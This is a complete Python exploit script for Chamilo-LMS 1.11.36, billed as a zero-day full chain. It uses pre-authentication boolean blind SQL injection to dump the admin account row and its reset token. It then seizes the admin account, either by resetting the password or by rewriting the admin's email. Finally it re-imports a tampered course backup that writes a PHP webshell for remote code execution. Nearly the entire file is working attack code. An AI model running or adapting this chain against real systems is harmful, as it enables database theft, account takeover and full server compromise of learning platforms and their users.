#!/usr/bin/env python3 # /\ .-----. /\ # #\\/ \#\\ # |/\| 0 |/\| # #\\\;-----;#/\\ # # \/ . \/ \\ # (| ,-_|coiffeur|_-, |) # #`__\.-.-./__`\\ # # /.-( )-.\ \\ # (\ |) ' ' (| /) # ` (| |) ` # \) (/ # Title: Chamilo-LMS 1.11.36 0days full chain exploit. # Author: Mathieu Farrell aka @Coiffeur0x90 # Date: 2026-04-01 # Summary: Exploit chains a pre-auth SQLi & ATO if needed then an unserialize # to Arbitrary File Write to write a Webshell (RCE). # Details: Dump the admin row, try the reset-token path, fall back to account # takeover when needed, the create, rewrite, and re-import a course # backup to drop "coiffeur.php". from __future__ import annotations import argparse import base64 import getpass import json import mimetypes import os import random import re import string import sys import tempfile import threading import time import zipfile from concurrent.futures import ThreadPoolExecutor, as_completed from dataclasses import dataclass, field from html import unescape from html.parser import HTMLParser from pathlib import Path from typing import Optional from urllib.parse import parse_qs, urljoin, urlparse try: import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry except ModuleNotFoundError as exc: requests = None HTTPAdapter = None Retry = None REQUESTS_IMPORT_ERROR = exc else: REQUESTS_IMPORT_ERROR = None DEFAULT_PROXY_URL = "http://127.0.0.1:1348" # Burp USE_PROXY = True TRUST_ENV_PROXY = False VERIFY_TLS = False # Shared values for the target user, payload, and output files. TARGET_USERNAME = "admin" TARGET_PASSWORD = "admin123456!" DOCUMENT_COMMENT = "Uploaded as POC." COURSE_LANGUAGE = "english" COURSE_NAME_LENGTH = 20 WEBSHELL_NAME = "coiffeur.php" BACKUP_NAME = "backup.zip" # Values used while extracting and rewriting the backup. TEMP_BACKUP_PREFIX = "chamilo_backup_" COURSE_INFO_FILE = "course_info.dat" DOCUMENT_DIR = "document" # Route used throughout the workflow. ROUTES = { "index": "index.php", "portal": "user_portal.php", "lost_password": "main/auth/lostPassword.php", "reset_password": "main/auth/reset.php?token={token}", "account_takeover": "main/inc/ajax/user_manager.ajax.php", "create_course": "main/create_course/add_course.php", "upload_document": "main/document/upload.php?cidReq={course_code}", "create_backup": "main/coursecopy/create_backup.php?cidReq={course_code}", "import_backup": "main/coursecopy/import_backup.php?cidReq={course_code}", } DEFAULT_TIMEOUT = 30 UPLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 120 # Settings for the SQLi extraction stage. SQLI_PATH = "/main/inc/ajax/model.ajax.php" SQLI_ACTION = "get_work_student" SQLI_CID_REQ = "TESTCOURSETITLE" FULL_ROW_STEM = "admin_row" TOKEN_STEM = "confirmation_token" MAX_BLOB_BYTES = 65536 WORKERS = 6 BATCH_SIZE = 48 MAX_REQUEST_RETRIES = 6 REQUEST_TIMEOUT = (5.0, 20.0) BACKOFF_BASE = 0.35 BACKOFF_MAX = 4.0 PRINT_EVERY = 32 ARTIFACT_DIRNAME = "artifacts" # Prefixes used by the console output. STATUS_PREFIX = "[*]" SUCCESS_PREFIX = "[+]" WARNING_PREFIX = "[!]" ERROR_PREFIX = "[x]" # Small parsing helpers. DOWNLOAD_LINK_RE = re.compile( r'href="([^"]*course_info/download\.php\?archive=[^"]+)"' ) COURSE_CODE_RE = re.compile(r"[^A-Za-z0-9]") # Static headers used by the SQLi requests. SQLI_HEADERS = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Connection": "close", } # Column order used to rebuild the packed row. SQLI_COLUMNS = ( "id", "user_id", "username", "username_canonical", "email_canonical", "email", "locked", "enabled", "expired", "credentials_expired", "credentials_expire_at", "expires_at", "lastname", "firstname", "password", "phone", "address", "salt", "last_login", "created_at", "updated_at", "confirmation_token", "password_requested_at", "roles", "profile_completed", "auth_source", "status", "official_code", "picture_uri", "creator_id", "competences", "diplomas", "openarea", "teach", "productions", "language", "registration_date", "expiration_date", "active", "openid", "theme", "hr_dept_id", ) def status(message: str) -> None: """Print a neutral status line.""" print(f"{STATUS_PREFIX} {message}") def success(message: str) -> None: """Print a success line.""" print(f"{SUCCESS_PREFIX} {message}") def warning(message: str) -> None: """Print a warning line.""" print(f"{WARNING_PREFIX} {message}") def failure(message: str) -> None: """Print an error line.""" print(f"{ERROR_PREFIX} {message}") def prompt_for_admin_password() -> str: """Prompt for the admin password when token-based reset is unavailable.""" prompt = ( "Enter the admin password received by mail to continue the workflow: " ) password = getpass.getpass(prompt) if not password: raise RuntimeError("No manual admin password was provided.") return password def require_requests() -> None: """Fail lazily so `--help` still works without third-party packages.""" if REQUESTS_IMPORT_ERROR is not None: raise RuntimeError( "This script requires the 'requests' package to run." ) from REQUESTS_IMPORT_ERROR def normalize_path(path: Path) -> Path: """Resolve a user-supplied path into an absolute path.""" return path.expanduser().resolve() def normalize_base_url(base_url: str) -> str: """Normalize the base URL so joins behave consistently.""" return base_url.rstrip("/") + "/" def build_proxies() -> dict[str, str]: """Build the static proxy configuration for every session.""" if not USE_PROXY: return {} return {"http": DEFAULT_PROXY_URL, "https": DEFAULT_PROXY_URL} def create_session( *, pool_connections: int = 4, pool_maxsize: int = 4, ) -> requests.Session: """Create one Requests session with a tiny connection pool.""" require_requests() session = requests.Session() session.trust_env = TRUST_ENV_PROXY session.verify = VERIFY_TLS proxies = build_proxies() if proxies: session.proxies.update(proxies) retry = Retry(total=0, connect=0, read=0, redirect=0, status=0) adapter = HTTPAdapter( max_retries=retry, pool_connections=pool_connections, pool_maxsize=pool_maxsize, ) session.mount("http://", adapter) session.mount("https://", adapter) return session def random_course_name() -> str: """Generate a throwaway uppercase course name.""" return "".join( random.choice(string.ascii_uppercase) for _ in range(COURSE_NAME_LENGTH) ) def normalize_course_code(course_name: str) -> str: """Convert a course title into the code expected by Chamilo.""" course_code = COURSE_CODE_RE.sub("", course_name).upper() if not course_code: raise ValueError( "Course name must contain at least one alphanumeric character." ) return course_code def build_marker(document_name: str) -> str: """Build the serialized backup marker for the uploaded file.""" prefix = f"{DOCUMENT_DIR}/" return f's:{len(prefix) + len(document_name)}:"{prefix}{document_name}"' def build_artifact_paths(work_dir: Path, stem: str) -> dict[str, Path]: """Return the state, JSON, and blob paths for one extraction stage.""" return { "state": work_dir / f"{stem}_state.json", "json": work_dir / f"{stem}.json", "blob": work_dir / f"{stem}.bin", } @dataclass(frozen=True) class HttpConfig: """Carry the normalized base URL for all network operations.""" base_url: str @dataclass class SelectField: """Store a parsed HTML select field and its possible values.""" options: list[str] = field(default_factory=list) selected: Optional[str] = None @dataclass class Form: """Store a parsed HTML form and its default values.""" attrs: dict[str, str] inputs: dict[str, str] = field(default_factory=dict) file_inputs: list[str] = field(default_factory=list) selects: dict[str, SelectField] = field(default_factory=dict) @property def name(self) -> str: """Return the form name, if any.""" return self.attrs.get("name", "") @property def form_id(self) -> str: """Return the form id, if any.""" return self.attrs.get("id", "") @property def action(self) -> str: """Return the form action, if any.""" return self.attrs.get("action", "") def as_payload(self) -> dict[str, str]: """Build a payload with preserved defaults and hidden values.""" payload = dict(self.inputs) for name, select in self.selects.items(): if name in payload: continue if select.selected is not None: payload[name] = select.selected elif select.options: payload[name] = select.options[0] return payload class FormParser(HTMLParser): """Parse enough HTML to replay Chamilo forms safely.""" def __init__(self) -> None: super().__init__() self.forms: list[Form] = [] self.current_form: Optional[Form] = None self.current_select_name: Optional[str] = None self.current_select = SelectField() def handle_starttag( self, tag: str, attrs: list[tuple[str, Optional[str]]], ) -> None: """Track forms, inputs, file fields, and selects.""" attr_map = {key: value or "" for key, value in attrs} if tag == "form": self.current_form = Form(attr_map) self.forms.append(self.current_form) return if self.current_form is None: return if tag == "input": name = attr_map.get("name") if not name: return input_type = attr_map.get("type", "text").lower() value = attr_map.get("value", "") if input_type == "file": self.current_form.file_inputs.append(name) return if input_type in {"checkbox", "radio"}: if "checked" in attr_map: self.current_form.inputs[name] = value or "on" return self.current_form.inputs[name] = value return if tag == "select": self.current_select_name = attr_map.get("name") self.current_select = SelectField() return if tag == "option" and self.current_select_name: value = attr_map.get("value", "") self.current_select.options.append(value) if "selected" in attr_map: self.current_select.selected = value def handle_endtag(self, tag: str) -> None: """Attach each collected select to the current form.""" if ( tag == "select" and self.current_form is not None and self.current_select_name ): self.current_form.selects[self.current_select_name] = ( self.current_select ) self.current_select_name = None self.current_select = SelectField() return if tag == "form": self.current_form = None class ChamiloClient: """Handle Chamilo HTTP flows used by the exploit chain.""" def __init__(self, http: HttpConfig) -> None: self.http = http self.session = create_session() def route(self, name: str, **values: str) -> str: """Build a full URL from a named route template.""" path = ROUTES[name].format(**values) return urljoin(self.http.base_url, path) def get(self, name: str, *, timeout: int = DEFAULT_TIMEOUT, **values: str): """Send a GET request to a named route.""" response = self.session.get( self.route(name, **values), timeout=timeout, ) response.raise_for_status() return response def post( self, url: str, *, timeout: int = UPLOAD_TIMEOUT, **kwargs, ): """Send a POST request to an already resolved URL.""" response = self.session.post(url, timeout=timeout, **kwargs) response.raise_for_status() return response @staticmethod def parse_forms(html: str) -> list[Form]: """Parse all forms from a response body.""" parser = FormParser() parser.feed(html) return parser.forms def find_form(self, html: str, name_or_id: str) -> Form: """Find one form by name or id.""" for form in self.parse_forms(html): if form.name == name_or_id or form.form_id == name_or_id: return form raise RuntimeError(f"Could not find form {name_or_id!r}.") @staticmethod def resolve_form_action(page_url: str, form: Form) -> str: """Resolve a relative form action against the page URL.""" return urljoin(page_url, form.action) if form.action else page_url @staticmethod def first_file_field(form: Form, fallback: str) -> str: """Pick the first file field or use a known fallback name.""" return form.file_inputs[0] if form.file_inputs else fallback @staticmethod def guess_mime_type(filename: str) -> str: """Guess a reasonable upload content type.""" return mimetypes.guess_type(filename)[0] or "application/octet-stream" @staticmethod def preferred_select( form: Form, name: str, preferred: str, ) -> Optional[str]: """Pick a preferred select value when Chamilo offers it.""" field = form.selects.get(name) if field is None: return None if preferred in field.options: return preferred if field.selected is not None: return field.selected if field.options: return field.options[0] return None def login(self, username: str, password: str) -> None: """Log in and verify that the portal page is reachable.""" self.get("index") response = self.post( self.route("index"), data={ "login": username, "password": password, "submitAuth": "1", }, allow_redirects=True, ) check = self.session.get( self.route("portal"), timeout=DEFAULT_TIMEOUT, allow_redirects=True, ) check.raise_for_status() if 'name="login"' in check.text and 'name="password"' in check.text: raise RuntimeError("Login failed after password reset.") if "loginFailed=1" in response.url or "loginFailed=1" in check.url: raise RuntimeError("Login failed after password reset.") def request_password_reset(self, username: str) -> None: """Trigger Chamilo's lost-password flow for the target user.""" response = self.session.post( self.route("lost_password"), data={ "user": username, "submit": "", "_qf__lost_password": "", }, headers={"Referer": self.route("lost_password")}, timeout=DEFAULT_TIMEOUT, allow_redirects=False, ) if response.status_code not in {200, 302, 303}: response.raise_for_status() def reset_password(self, token: str, new_password: str) -> None: """Use the recovered token to set the final admin password.""" reset_url = self.route("reset_password", token=token) response = self.session.post( reset_url, data={ "pass1": new_password, "pass2": new_password, "submit": "", "_qf__reset": "", "token": token, }, headers={"Referer": reset_url}, timeout=DEFAULT_TIMEOUT, allow_redirects=False, ) if response.status_code not in {200, 302, 303}: response.raise_for_status() def account_takeover(self) -> None: """Perform account takeover.""" if not sys.stdin.isatty(): raise RuntimeError( "confirmation_token was empty and no interactive terminal is " "available for manual password entry." ) while True: answer = input( "Token not available. Complete the alternate recovery path " "manually. Continue? [y/n]: " ).strip().lower() if answer in {"y", "yes"}: break if answer in {"n", "no"}: raise RuntimeError( "Workflow aborted before the manual alternate recovery " "was completed." ) warning("Please answer with 'y' or 'n'.") email = input("email: ") reset_url = self.route("account_takeover") response = self.session.post( reset_url, data={ "a": "update_users", "users": '[{"user_id":1,"email":"' + email + '"}]' }, headers={"Referer": reset_url}, timeout=DEFAULT_TIMEOUT, allow_redirects=False, ) if response.status_code not in {200, 302, 303}: response.raise_for_status() time.sleep(2) self.request_password_reset(TARGET_USERNAME) def create_course(self, course_name: str, course_code: str) -> None: """Create a disposable course for the backup import stage.""" response = self.get("create_course") form = self.find_form(response.text, "add_course") payload = form.as_payload() payload["title"] = course_name payload["wanted_code"] = course_code payload["submit"] = "1" language = self.preferred_select( form, "course_language", COURSE_LANGUAGE, ) if language is not None: payload["course_language"] = language result = self.post( self.resolve_form_action(response.url, form), data=payload, allow_redirects=True, ) if "add_course.php" in result.url and "start.php" not in result.url: if ( "already occupied" in result.text or "already exists" in result.text ): raise RuntimeError( f"Course code {course_code} already exists." ) def upload_document(self, course_code: str, document_path: Path) -> None: """Upload the local payload before rewriting the backup.""" response = self.get("upload_document", course_code=course_code) form = self.find_form(response.text, "upload") payload = form.as_payload() payload["title"] = document_path.name payload["comment"] = DOCUMENT_COMMENT payload["if_exists"] = payload.get("if_exists", "rename") or "rename" payload["submitDocument"] = "1" file_field = self.first_file_field(form, "file") submit_url = self.resolve_form_action(response.url, form) mime_type = self.guess_mime_type(document_path.name) with document_path.open("rb") as handle: files = {file_field: (document_path.name, handle, mime_type)} self.post( submit_url, data=payload, files=files, allow_redirects=True, ) def create_backup_url(self, course_code: str) -> str: """Create a valid course backup and return its download URL.""" response = self.get("create_backup", course_code=course_code) form = self.find_form(response.text, "create_backup_form") payload = form.as_payload() payload["backup_option"] = "full_backup" payload["submit"] = "1" result = self.post( self.resolve_form_action(response.url, form), data=payload, allow_redirects=True, ) match = DOWNLOAD_LINK_RE.search(result.text) if not match: raise RuntimeError("Could not locate the backup download link.") return urljoin(result.url, unescape(match.group(1))) def download_backup(self, download_url: str, output_path: Path) -> None: """Download the generated backup to the artifact directory.""" output_path.parent.mkdir(parents=True, exist_ok=True) with self.session.get( download_url, timeout=DOWNLOAD_TIMEOUT, stream=True, ) as response: response.raise_for_status() with output_path.open("wb") as handle: for chunk in response.iter_content(chunk_size=8192): if chunk: handle.write(chunk) def import_backup(self, course_code: str, backup_path: Path) -> None: """Re-upload the modified backup to trigger the file write.""" response = self.get("import_backup", course_code=course_code) form = self.find_form(response.text, "import_backup_form") payload = form.as_payload() payload["action"] = payload.get("action", "restore_backup") payload["backup_type"] = "local" payload["import_option"] = "full_backup" payload["same_file_name_option"] = ( payload.get("same_file_name_option", "overwrite") or "overwrite" ) file_field = self.first_file_field(form, "backup") submit_url = self.resolve_form_action(response.url, form) with backup_path.open("rb") as handle: files = { file_field: (backup_path.name, handle, "application/zip") } result = self.post( submit_url, data=payload, files=files, allow_redirects=True, ) success_markers = ("ImportFinished", "CourseHomepage") failure_markers = ("UploadError", "NoResourcesInBackupFile") if any(marker in result.text for marker in success_markers): return if any(marker in result.text for marker in failure_markers): raise RuntimeError("Backup upload failed during import.") warning("Backup import response was ambiguous. Continuing anyway.") def webshell_url(self, course_code: str) -> str: """Build the final webshell URL.""" return urljoin( self.http.base_url, f"app/courses/{course_code}/{WEBSHELL_NAME}", ) class BooleanSqliExtractor: """Dump one packed row through the boolean SQLi primitive.""" def __init__( self, http: HttpConfig, columns: tuple[str, ...], work_dir: Path, stem: str, ) -> None: self.http = http self.columns = columns self.thread_local = threading.local() self.paths = build_artifact_paths(work_dir, stem) self.row_expr = self.build_row_expr() @property def endpoint_url(self) -> str: """Return the vulnerable endpoint URL.""" return urljoin(self.http.base_url, SQLI_PATH.lstrip("/")) @property def request_params(self) -> dict[str, str]: """Return the fixed query parameters for the AJAX handler.""" return { "a": SQLI_ACTION, "_search": "true", "cidReq": SQLI_CID_REQ, } @staticmethod def username_hex(username: str) -> str: """Return the SQL hex literal for the chosen username.""" return "0x" + username.encode("utf-8").hex() def build_session(self) -> requests.Session: """Build one session per worker thread.""" return create_session(pool_connections=1, pool_maxsize=1) def get_session(self) -> requests.Session: """Return the current worker thread session.""" session = getattr(self.thread_local, "session", None) if session is None: session = self.build_session() self.thread_local.session = session return session def reset_thread_session(self) -> None: """Drop the current worker session after a transient failure.""" session = getattr(self.thread_local, "session", None) if session is not None: try: session.close() except Exception: pass self.thread_local.session = None def build_filters(self, condition: str) -> str: """Build the injected `filters` JSON body.""" payload = { "groupOp": f" OR IF(({condition}),1,0) OR ", "rules": [ {"field": 1, "op": "eq", "data": 2}, {"field": "2", "op": "eq", "data": "1"}, ], } return json.dumps(payload, separators=(",", ":")) def do_request(self, condition: str) -> dict: """Send one boolean probe and return the parsed JSON body.""" last_error: Optional[Exception] = None data = {"filters": self.build_filters(condition)} for attempt in range(1, MAX_REQUEST_RETRIES + 1): try: response = self.get_session().post( self.endpoint_url, params=self.request_params, data=data, headers=SQLI_HEADERS, timeout=REQUEST_TIMEOUT, allow_redirects=False, ) response.raise_for_status() return response.json() except ( requests.exceptions.ProxyError, requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout, requests.exceptions.ChunkedEncodingError, ) as exc: last_error = exc self.reset_thread_session() time.sleep( min(BACKOFF_BASE * (2 ** (attempt - 1)), BACKOFF_MAX) ) except ValueError as exc: raise RuntimeError( "The SQLi endpoint returned non-JSON data." ) from exc raise RuntimeError(f"Request failed after retries: {last_error}") def oracle(self, condition: str) -> bool: """Turn the JSON response shape into a boolean oracle.""" body = self.do_request(condition) return int(body.get("records", 0)) > 0 or int(body.get("total", 0)) > 0 def sanity_check(self) -> None: """Confirm that the boolean oracle behaves as expected.""" true_result = self.oracle("1=1") false_result = self.oracle("1=2") status(f"Oracle(1=1) -> {true_result}") status(f"Oracle(1=2) -> {false_result}") if not true_result or false_result: raise RuntimeError("Boolean oracle sanity check failed.") @staticmethod def sql_value_expr(column: str) -> str: """Return one column as text while preserving NULL separately.""" return f"IFNULL(CAST(`{column}` AS CHAR), '')" def sql_field_expr(self, column: str) -> str: """Encode one column as flag plus length plus raw bytes.""" value = self.sql_value_expr(column) length = f"OCTET_LENGTH({value})" length_be16 = f"UNHEX(LPAD(HEX({length}),4,'0'))" flag = f"IF(`{column}` IS NULL,0x00,0x01)" return f"CONCAT({flag},{length_be16},{value})" def build_row_expr(self) -> str: """Build the packed row expression for the chosen columns.""" fields = ", ".join( self.sql_field_expr(column) for column in self.columns ) return ( f"(SELECT CONCAT({fields}) FROM `user` " f"WHERE `username`={self.username_hex(TARGET_USERNAME)} LIMIT 1)" ) def exact_from_gt(self, template: str, low: int, high: int) -> int: """Resolve one integer value through binary search.""" while low < high: mid = (low + high) // 2 if self.oracle(template.format(mid=mid)): low = mid + 1 else: high = mid return low def find_blob_length(self) -> int: """Recover the packed row length before dumping bytes.""" expr = f"LENGTH({self.row_expr})" high = 64 while self.oracle(f"{expr}>{high}"): high *= 2 status(f"Length upper bound expanded to {high}") if high > MAX_BLOB_BYTES: raise RuntimeError( "Recovered blob length exceeded safety cap." ) length = self.exact_from_gt( f"{expr}>{{mid}}", 0, high, ) status(f"Blob length = {length} bytes") return length def get_byte_bitwise(self, position: int) -> int: """Recover one byte through eight boolean bit tests.""" expr = f"ORD(SUBSTRING({self.row_expr},{position},1))" value = 0 for mask in (1, 2, 4, 8, 16, 32, 64, 128): if self.oracle(f"({expr}&{mask})"): value |= mask return value def get_byte_with_retry(self, position: int) -> int: """Retry one byte extraction if a transient failure occurs.""" last_error: Optional[Exception] = None for attempt in range(1, 4): try: return self.get_byte_bitwise(position) except Exception as exc: last_error = exc self.reset_thread_session() time.sleep(min(0.2 * attempt, 1.0)) raise RuntimeError( f"Could not recover byte {position}: {last_error}" ) def save_state(self, blob: bytes, expected_len: int) -> None: """Save progress atomically so interrupted runs can resume.""" state = { "expected_len": expected_len, "have_len": len(blob), "blob_hex": blob.hex(), "columns": list(self.columns), } self.paths["state"].parent.mkdir(parents=True, exist_ok=True) tmp_path = self.paths["state"].with_suffix(".tmp") with tmp_path.open("w", encoding="utf-8") as handle: json.dump(state, handle) os.replace(tmp_path, self.paths["state"]) def clear_state(self) -> None: """Delete a stale checkpoint so a fresh dump can start.""" try: self.paths["state"].unlink() except FileNotFoundError: return def load_state(self) -> bytes: """Load a saved checkpoint, or start from scratch.""" if not self.paths["state"].exists(): return b"" with self.paths["state"].open("r", encoding="utf-8") as handle: state = json.load(handle) saved_columns = tuple(state.get("columns", [])) if saved_columns and saved_columns != self.columns: warning("Saved SQLi state columns do not match this run.") self.clear_state() return b"" try: blob = bytes.fromhex(state.get("blob_hex", "")) except ValueError: warning("Could not parse the saved SQLi state. Starting fresh.") self.clear_state() return b"" status(f"Resumed {len(blob)} bytes from {self.paths['state']}") return blob def extract_blob(self) -> bytes: """Recover the packed row and keep progress on disk.""" expected_len = self.find_blob_length() blob = bytearray(self.load_state()) if len(blob) > expected_len: warning("Saved state was longer than the current target.") blob = blob[:expected_len] start = len(blob) + 1 if start > expected_len: return bytes(blob) with ThreadPoolExecutor(max_workers=WORKERS) as executor: position = start while position <= expected_len: batch_end = min(expected_len, position + BATCH_SIZE - 1) positions = list(range(position, batch_end + 1)) futures = { executor.submit(self.get_byte_with_retry, index): index for index in positions } results: dict[int, int] = {} for future in as_completed(futures): index = futures[future] results[index] = future.result() for index in positions: blob.append(results[index]) self.save_state(blob, expected_len) tail = bytes(blob[-PRINT_EVERY:]) printable = "".join( chr(value) if 32 <= value <= 126 else "." for value in tail ) status( f"Recovered {len(blob)}/{expected_len} bytes | " f"Batch {position}-{batch_end} | Tail: {printable}" ) position = batch_end + 1 return bytes(blob) def parse_row(self, blob: bytes) -> dict[str, Optional[str]]: """Parse the packed blob back into a Python dictionary.""" row: dict[str, Optional[str]] = {} offset = 0 for column in self.columns: if offset + 3 > len(blob): raise RuntimeError( f"Unexpected end of blob while parsing {column}." ) flag = blob[offset] length = int.from_bytes(blob[offset + 1:offset + 3], "big") offset += 3 if offset + length > len(blob): raise RuntimeError( f"Unexpected end of blob while parsing {column}." ) raw = blob[offset:offset + length] offset += length if flag == 0: row[column] = None elif flag == 1: row[column] = raw.decode("utf-8", errors="replace") else: raise RuntimeError(f"Invalid null flag for column {column}.") if offset != len(blob): raise RuntimeError("Parsed row left trailing bytes in the blob.") return row def dump_row(self, *, print_row: bool = True) -> dict[str, Optional[str]]: """Dump the chosen columns and persist raw plus parsed output.""" status(f"Target URL: {self.endpoint_url}") self.sanity_check() blob = self.extract_blob() try: row = self.parse_row(blob) except RuntimeError: if self.paths["state"].exists(): warning("Saved SQLi state was stale. Re-dumping from scratch.") self.clear_state() blob = self.extract_blob() row = self.parse_row(blob) else: raise self.paths["blob"].parent.mkdir(parents=True, exist_ok=True) with self.paths["blob"].open("wb") as handle: handle.write(blob) with self.paths["json"].open("w", encoding="utf-8") as handle: json.dump(row, handle, indent=2, ensure_ascii=False) status(f"Wrote {self.paths['blob']}") status(f"Wrote {self.paths['json']}") if print_row: print(json.dumps(row, indent=2, ensure_ascii=False)) return row def build_backup_output_path(download_url: str, work_dir: Path) -> Path: """Keep the server-provided backup name when it is available.""" archive_name = parse_qs(urlparse(download_url).query).get( "archive", [BACKUP_NAME], )[0] return work_dir / archive_name def extract_backup(backup_path: Path) -> Path: """Extract the backup to a safe temporary directory.""" extraction_dir = Path( tempfile.mkdtemp(prefix=TEMP_BACKUP_PREFIX, dir=tempfile.gettempdir()) ).resolve() with zipfile.ZipFile(backup_path) as archive: for member in archive.infolist(): destination = (extraction_dir / member.filename).resolve() if destination != extraction_dir: if extraction_dir not in destination.parents: raise RuntimeError( f"Unsafe zip entry detected: {member.filename}" ) archive.extractall(extraction_dir) return extraction_dir def rewrite_backup(extraction_dir: Path, document_name: str) -> None: """Rewrite the backup metadata so the payload becomes `coiffeur.php`.""" course_info_path = extraction_dir / COURSE_INFO_FILE if not course_info_path.is_file(): raise RuntimeError(f"Missing {COURSE_INFO_FILE} in the backup.") encoded = course_info_path.read_bytes() try: decoded = base64.b64decode(encoded, validate=True) except Exception: decoded = base64.b64decode(encoded) marker = build_marker(document_name).encode() if marker not in decoded: raise RuntimeError("Could not find the uploaded file marker.") replacement = f's:{len(WEBSHELL_NAME)}:"{WEBSHELL_NAME}"'.encode() updated = decoded.replace(marker, replacement) course_info_path.write_bytes(base64.b64encode(updated)) original_file = extraction_dir / DOCUMENT_DIR / document_name if not original_file.is_file(): raise RuntimeError(f"Missing extracted document: {original_file}") original_file.replace(extraction_dir / WEBSHELL_NAME) def rezip_directory(source_dir: Path, output_path: Path) -> None: """Create a fresh zip archive from the modified extraction directory.""" temp_output = output_path.with_suffix(f"{output_path.suffix}.tmp") with zipfile.ZipFile( temp_output, "w", compression=zipfile.ZIP_DEFLATED, ) as archive: for path in sorted(source_dir.rglob("*")): relative_path = path.relative_to(source_dir).as_posix() if path.is_dir(): archive.writestr(f"{relative_path}/", b"") elif path.is_file(): archive.write(path, arcname=relative_path) temp_output.replace(output_path) def parse_args(argv: Optional[list[str]] = None) -> argparse.Namespace: """Parse the only two user-controlled inputs kept by the refactor.""" parser = argparse.ArgumentParser( description="Dump admin, reset its password, and drop coiffeur.php.", ) parser.add_argument( "base_url", help=( "Chamilo base URL, for example " "'http://127.0.0.1:1337/Projects/chamilo-1.11.36/'." ), ) parser.add_argument( "document", type=Path, help="Local payload file that will become coiffeur.php.", ) return parser.parse_args(argv) def run_exploit(base_url: str, document_path: Path) -> int: """Execute the full exploit chain from SQLi to file write.""" work_dir = Path.cwd() / ARTIFACT_DIRNAME work_dir.mkdir(parents=True, exist_ok=True) http = HttpConfig(base_url=normalize_base_url(base_url)) client = ChamiloClient(http) status("Step 1/4: Dumping the full admin row.") full_dump = BooleanSqliExtractor( http=http, columns=SQLI_COLUMNS, work_dir=work_dir, stem=FULL_ROW_STEM, ) full_dump.dump_row() status("Step 2/4: Requesting an admin password reset.") client.request_password_reset(TARGET_USERNAME) status( "Step 3/4: Dumping confirmation_token and resetting the password." ) token_dump = BooleanSqliExtractor( http=http, columns=("confirmation_token",), work_dir=work_dir, stem=TOKEN_STEM, ) token_row = token_dump.dump_row(print_row=False) token = token_row.get("confirmation_token") admin_password = TARGET_PASSWORD if token is None or not token.strip(): warning( "The confirmation_token column was empty. Falling back to manual " "password entry." ) client.account_takeover() admin_password = prompt_for_admin_password() success("Received the admin password from manual input.") else: success(f"Recovered confirmation token: {token}") client.reset_password(token, TARGET_PASSWORD) success(f"Reset the admin password to {TARGET_PASSWORD!r}.") status("Step 4/4: Logging in and triggering the backup import flow.") status(f"Logging in as {TARGET_USERNAME!r}.") client.login(TARGET_USERNAME, admin_password) course_name = random_course_name() course_code = normalize_course_code(course_name) status(f"Creating course {course_name!r} with code {course_code!r}.") client.create_course(course_name, course_code) status( f"Uploading document {document_path.name!r} to course " f"{course_code!r}." ) client.upload_document(course_code, document_path) status(f"Creating full backup for course {course_code!r}.") download_url = client.create_backup_url(course_code) backup_path = build_backup_output_path(download_url, work_dir) status(f"Downloading backup to {backup_path!r}.") client.download_backup(download_url, backup_path) extraction_dir = extract_backup(backup_path) status(f"Backup extracted to {extraction_dir!r}.") marker = build_marker(document_path.name) status(f"Inspecting {COURSE_INFO_FILE!r} for marker {marker!r}.") rewrite_backup(extraction_dir, document_path.name) success("Marker found in decoded serialized data.") status(f"Reuploading backup via 'import_backup.php?cidReq={course_code}'.") rezip_directory(extraction_dir, backup_path) client.import_backup(course_code, backup_path) success("Backup reuploaded successfully.") success("Workflow completed.") success("Webshell URL:") print(f"\t{client.webshell_url(course_code)}") return 0 def main(argv: Optional[list[str]] = None) -> int: """Validate inputs and run the full workflow.""" try: args = parse_args(argv) document_path = normalize_path(args.document) if not document_path.is_file(): raise FileNotFoundError(f"Document not found: {document_path}") return run_exploit(args.base_url, document_path) except KeyboardInterrupt: warning("Interrupted.") return 1 except Exception as exc: failure(str(exc)) return 1 if __name__ == "__main__": sys.exit(main())